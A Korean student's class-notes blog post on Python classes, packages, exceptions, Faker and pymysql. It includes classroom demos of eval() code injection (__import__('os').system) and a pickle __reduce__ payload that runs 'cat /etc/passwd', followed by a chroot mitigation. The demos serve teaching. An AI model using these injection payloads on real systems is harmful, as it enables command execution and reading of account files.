
어제 수업 끝나고 잠깐 스터디 얘기가 나왔었다. 나와 비슷한 비전공자이시고, 둘다 정보처리기사 실기 준비중이었다.
그래서 이 시간에 스터디에 대해 조금 더 상의하고 파이썬 스터디 그룹 만들기로 했다.
1교시
import time
class Clock:
def __init__(self) -> None:
self.hour = 0
self.miniute = 0
self.second = 0
def print(self):
print(f"{self.hour}:{self.miniute}:{self.second}")
def add_one_hour(self):
self.hour += 1
if self.hour >= 24:
self.hour = 0
def add_one_minute(self):
self.miniute += 1
if self.miniute >= 60:
self.miniute = 0
self.add_one_hour()
def add_one_second(self):
self.second += 1
if self.second >= 60:
self.second = 0
self.add_one_minute()
class MinuteClock(Clock): # class 자식클래스이름(부모클래스이름)
pass
c = MinuteClock()
while True:
c.add_one_minute() # 부모 클래스의 메소드가 실행
c.print() # ==> 자식 클래스는 부모 클래스의 변수와 함수(메서드)를 그대로 사용하는 것이 가능
time.sleep(1)
import time
class Clock:
def __init__(self) -> None:
self.hour = 0
self.miniute = 0
self.second = 0
def print(self):
print(f"{self.hour}:{self.miniute}:{self.second}")
def add_one_hour(self):
self.hour += 1
if self.hour >= 24:
self.hour = 0
def add_one_minute(self):
self.miniute += 1
if self.miniute >= 60:
self.miniute = 0
self.add_one_hour()
def add_one_second(self):
self.second += 1
if self.second >= 60:
self.second = 0
self.add_one_minute()
class MinuteClock(Clock): # class 자식클래스이름(부모클래스이름)
def print(self): # 메서드 오버라이딩(overriding)
# 부모 클래스의 메서드를 자식 클래스에서 재정의
print(f"{self.hour}시 {self.miniute}분")
c = MinuteClock()
while True:
c.add_one_minute()
c.print() # 자식 클래스의 메서드가 호출
time.sleep(1)
# 명령프롬프트에서 디렉터리 만들기
C:\python> mkdir c:\python\game\sound
C:\python> mkdir c:\python\game\graphic
C:\python> mkdir c:\python\game\play
#빈 파일 만들기
C:\python> echo '' > c:\python\game\__init__.py
C:\python> echo '' > c:\python\game\sound\__init__.py
C:\python> echo '' > c:\python\game\sound\echo.py
C:\python> echo '' > c:\python\game\graphic\__init__.py
C:\python> echo '' > c:\python\game\graphic\render.py
# 디렉터리 구조와 파일 확인
C:\python> tree .\game /F
폴더 PATH의 목록입니다.
볼륨 일련 번호가 00000016 9027:83B9입니다.
C:\PYTHON\GAME
│ __init__.py
│
├─graphic
│ render.py
│ __init__.py
│
├─play
└─sound
echo.py
__init__.py
c:\python\game\sound\echo.py
def echo_test():
print("echo")
c:\python\game\graphic\render.py
def render_test():
print("render")
init.py 파일에 내용을 모두 삭제 (모두 3개)
# echo 모듈에 echo_test() 함수를 실행(호출)
import game.sound.echo
game.sound.echo.echo_test()
# echo 모듈에 echo_test() 함수를 실행(호출)
from game.sound.echo import echo_test
echo_test()
# echo 모듈에 echo_test() 함수를 실행(호출)
from game.sound import echo
echo.echo_test()
# echo 모듈에 echo_test() 함수를 실행(호출)
from game.sound import echo
echo.echo_test()
# 해당 디렉터리가 패키지의 일부임을 알려주는 역할
# 유즈케이스(사용예)
# 패키지와 관련한 설정이나 초기화 코드를 포함할 수 있음
VERSION = 3.5
def print_version_info():
print(f"Game Version: {VERSION}")
import game
# game 패키지의 __init__.py 파일에 정의된 변수와 함수를 참조
print(game.VERSION)
game.print_version_info()
# 해당 디렉터리가 패키지의 일부임을 알려주는 역할
# 유즈케이스(사용예)
# 패키지와 관련한 설정이나 초기화 코드를 포함할 수 있음
VERSION = 3.5
def print_version_info():
print(f"Game Version: {VERSION}")
# 패키지 내의 모듈을 미리 임포트
from .graphic.render import render_test
import game
# game 패키지의 __init__.py 파일에 정의된 변수와 함수를 참조
print(game.VERSION)
game.print_version_info()
# from game.graphic import render
# render.render_test()
game.render_test()
# 해당 디렉터리가 패키지의 일부임을 알려주는 역할
# 유즈케이스(사용예)
# 1 패키지와 관련한 설정이나 초기화 코드를 포함할 수 있음
VERSION = 3.5
def print_version_info():
print(f"Game Version: {VERSION}")
# 2 패키지 내의 모듈을 미리 임포트
from .graphic.render import render_test
# 3 패키지 초기화 ⇒ 패키지가 처음 호출될때 실행되어야 하는 코드를 작성 (예: 데이터베이스 연결 또는 설정 등)
print("game 패키지 초기화 ...")
import game
print(r'c:/python/main.py')
from game.graphic.render import render_test
print(r'c:/python/main.py')
프로그램 죽는다
예외처리 : 프로그램 비정상적 종료 막기 위한 활동
존재하지 않는 파일
오타 구문 오류
실행 시점에 결정되는 오류
문법 기반 오류 : syntax 오류
실행 시점 값 or 상태 의해 발생 오류 : run time 오류
인덱스 오류
=> 어떻게 해야 하냐
방어 코드 (검증) -> 사전
예외 처리 -> 사후 대응
try-except 문
no = int(input("숫자를 입력하세요."))
result = 100 / no
print(f"100 나누기 {no}의 결과는 {result} 입니다.")
숫자를 입력하세요.0
Traceback (most recent call last):
File "C:\python\test.py", line 3, in
result = 100 / no
~~~~^~~~
ZeroDivisionError: division by zero ⇐ 사용자가 0을 입력하면 오류가 발생
no = int(input("숫자를 입력하세요."))
if no == 0:
print("0은 입력할 수 없습니다.")
else:
result = 100 / no
print(f"100 나누기 {no}의 결과는 {result} 입니다.")
숫자를 입력하세요.0
0은 입력할 수 없습니다.
no = int(input("숫자를 입력하세요."))
try:
result = 100 / no
print(f"100 나누기 {no}의 결과는 {result} 입니다.")
except ZeroDivisionError:
print("0을 입력했기 때문에 프로그램을 종료합니다.")
no = int(input("숫자를 입력하세요."))
try:
result = 100 / no
print(f"100 나누기 {no}의 결과는 {result} 입니다.")
except ZeroDivisionError as e:
print(f"프로그램을 종료합니다. (원인: {e})")
숫자를 입력하세요.0
프로그램을 종료합니다. (원인: division by zero)
3교시
class Bird:
def fly(self):
raise NotImplemented
class Eagle(Bird):
pass
e = Eagle()
e.fly() ⇐ 부모 클래스(Bird)의 fly() 메서드가 실행되므로 NotImplemented 오류가 발생
class Bird:
def fly(self):
raise NotImplemented
class Eagle(Bird):
def fly(self):
print("very fast")
e = Eagle()
e.fly()
class MyInputError(Exception): ⇐ 사용자 정의 예외는 Exception 클래스를 상속 받아 정의
def __init__(self, no) -> None: ⇐ 예외 발생 시 전달받아야 하는 값이 있는 경우 생성자를 활용
self.no = no
def __str__(self) -> str: ⇐ 예외 발생 시 반환할 문자열(메시지)
return f"{self.no}는 잘못된 입력입니다."
try:
no = int(input("숫자를 입력하세요."))
if no == 0:
raise MyInputError(no)
print(f"10 / {no} = {10 / no}")
except MyInputError as e:
print(e)
def div_mod(a, b): # 내장 함수 divmod와 동일한 기능을 구현
return a // b, a % b
print(div_mod(10, 3)) # 사용자 정의 함수를 호출
print(divmod(10, 3)) # 내장 함수를 호출
cmd = input("계산할 수식을 입력해 주세요 (예: 2 + 3) ")
print(f"{cmd} = {eval(cmd)}")
계산할 수식을 입력해 주세요 (예: 2 + 3) 3 + 5 * 8 - 10
3 + 5 * 8 - 10 = 33
계산할 수식을 입력해 주세요 (예: 2 + 3) __import__('os').system('dir ')
C 드라이브의 볼륨에는 이름이 없습니다. ⇐ 호스트에서 dir 명령어의 실행 결과가 출력
볼륨 일련 번호: 9027-83B9
C:\python 디렉터리
2024-03-06 오전 11:16 <DIR> .
2024-03-06 오전 11:16 <DIR> ..
2024-03-05 오후 02:37 <DIR> .vscode
2024-03-05 오후 05:06 737 calculator.py
2024-03-06 오전 10:06 1,055 click.py
2024-03-05 오후 03:52 757 counter.py
2024-03-06 오전 08:35 42 data
2024-03-06 오전 10:38 <DIR> game
2024-03-05 오후 03:28 1,476 hangman.py
2024-03-06 오전 11:02 74 main.py
2024-03-05 오후 03:25 107 mod1.py
2024-03-05 오전 09:36 234 new_file.txt
2024-03-05 오후 03:47 1,324 score.py
2024-03-05 오전 10:24 60 score_data.txt
2024-03-06 오후 02:30 101 test.py
2024-03-06 오전 10:26 5 test.txt
2024-03-05 오후 03:50 <DIR> __pycache__
12개 파일 5,972 바이트
5개 디렉터리 177,886,593,024 바이트 남음
__import__('os').system('dir ') = 0
계산할 수식을 입력해 주세요 (예: 2 + 3) __import__('os').system('type test.py')
cmd = input("怨꾩궛???섏떇???낅젰??二쇱꽭??(?? 2 + 3) ") ⇐ test.py 파일의 내용이 출력
print(f"{cmd} = {eval(cmd)}")__import__('os').system('type test.py') = 0
class Plants:
pass
class Bird:
pass
class Eagle(Bird):
pass
e = Eagle()
print(isinstance(e, Eagle))
print(isinstance(e, Bird)) ⇐ 부모 클래스인 경우에도 True를 반환
print(isinstance(e, Plants))
import os
import pickle
class MyExeCode(object):
def __reduce__(self):
return (os.system, ('dir c:\\', ))
def serialize():
code = pickle.dumps(MyExeCode())
return code
if __name__ == '__main__':
code = serialize()
with open('data', 'wb') as f:
f.write(code)
import pickle
def deserialize(code):
pickle.loads(code)
if __name__ == '__main__':
with open('data', 'rb') as f:
deserialize(f.read())
import os
import pickle
class MyExeCode(object):
def __reduce__(self):
return (os.system, ('dir c:\\', ))
def serialize():
code = pickle.dumps(MyExeCode())
return code
def deserialize(code):
pickle.loads(code)
if __name__ == '__main__':
code = serialize() ⇐ 직렬화 결과를 파일로 저장
with open('data', 'wb') as f:
f.write(code)
with open('data', 'rb') as f: ⇐ 파일을 읽어서 역직렬화
deserialize(f.read())
import os
import pickle
class MyExeCode(object):
def __reduce__(self):
return (os.system, ('cat /etc/passwd', )) ⇐ 해당 시스템의 계정 정보를 담고 있는 파일
def serialize():
code = pickle.dumps(MyExeCode())
return code
def deserialize(code):
pickle.loads(code)
if __name__ == '__main__':
code = serialize() ⇐ 직렬화 결과를 파일로 저장
with open('data', 'wb') as f:
f.write(code)
with open('data', 'rb') as f: ⇐ 파일을 읽어서 역직렬화
deserialize(f.read())
import os
import pickle
from contextlib import contextmanager
class MyExeCode(object):
def __reduce__(self):
return (os.system, ('cat /etc/passwd', )) ⇐ cat /safe_root/etc/passwd 형태로 명령어가 실행
def serialize():
code = pickle.dumps(MyExeCode())
return code
def deserialize(code):
with system_jail():
pickle.loads(code)
@contextmanager
def system_jail():
os.chroot('/safe_root') ⇐ 시스템의 루트 디렉터리를 변경
yield
os.chroot('/') ⇐ 원래 시스템 루트 디렉터리로 재설정
if __name__ == '__main__':
code = serialize()
with open('data', 'wb') as f:
f.write(code)
with open('data', 'rb') as f:
deserialize(f.read())
PS C:\python> pip install Faker
Collecting Faker
Downloading Faker-24.0.0-py3-none-any.whl.metadata (15 kB)
Collecting python-dateutil>=2.4 (from Faker)
Downloading python_dateutil-2.9.0.post0-py2.py3-none-any.whl.metadata (8.4 kB)
Collecting six>=1.5 (from python-dateutil>=2.4->Faker)
Downloading six-1.16.0-py2.py3-none-any.whl.metadata (1.8 kB)
Downloading Faker-24.0.0-py3-none-any.whl (1.8 MB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 1.8/1.8 MB 12.5 MB/s eta 0:00:00
Downloading python_dateutil-2.9.0.post0-py2.py3-none-any.whl (229 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 229.9/229.9 kB 7.1 MB/s eta 0:00:00
Downloading six-1.16.0-py2.py3-none-any.whl (11 kB)
Installing collected packages: six, python-dateutil, Faker
Successfully installed Faker-24.0.0 python-dateutil-2.9.0.post0 six-1.16.0
from faker import Faker
faker = Faker()
for i in range(10):
print(faker.name())
from faker import Faker
faker = Faker('ko-KR') # 로케일을 한국으로 설정
for i in range(10):
print(faker.name())
from faker import Faker
faker = Faker('ko-KR') # 로케일을 한국으로 설정
for i in range(10):
print(faker.name(), faker.address(), faker.email())
create schema sampledb default character set utf8;
use sampledb;
create table members (
member_id int(11) not null auto_increment comment '회원 아이디',
member_name varchar(100) not null comment '회원 이름',
member_age int(3) comment '회원 나이',
member_email varchar(100) comment '회원 이메일',
SQL 연습
pymysql 라이브러리 설치
#터미널
PS C:\python> pip install pymysql
Collecting pymysql
Downloading PyMySQL-1.1.0-py3-none-any.whl.metadata (4.4 kB)
Downloading PyMySQL-1.1.0-py3-none-any.whl (44 kB)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 44.8/44.8 kB 1.1 MB/s eta 0:00:00
Installing collected packages: pymysql
Successfully installed pymysql-1.1.0
테스트 데이터 추가
use sampledb;
insert into members (member_name, member_age, member_email)
values ('홍길동', 23, 'hong@test.com');
import pymysql
# 데이터베이스에 연결을 생성
try:
with pymysql.connect(host="localhost", port=3306, user="springboot", passwd="p@ssw0rd", db="sampledb") as conn:
# 조회 쿼리를 작성
query = "select member_id, member_name, member_age, member_email from members"
# 커서를 생성해서 조회 쿼리를 실행
with conn.cursor() as curr:
curr.execute(query)
# 조회 결과를 출력
for c in curr:
print(c)
except pymysql.MySQLError as e:
print(e)
Today is
온라인 수업 + 어려운 내용 + 노베이스
쉽지 않다 ㅎㅋ
생각은 했지만 생각보다 더.
그래도 생활 루틴은 안정화되는 것 같아서 괜찮아 질 것 같다.
아침에 잘 일어나고 있구 ㅋㅋ
최우선 목표는 지각 없이 과정 자체 완주하기!
나머지는
하루하루 조금씩 배워나가자!

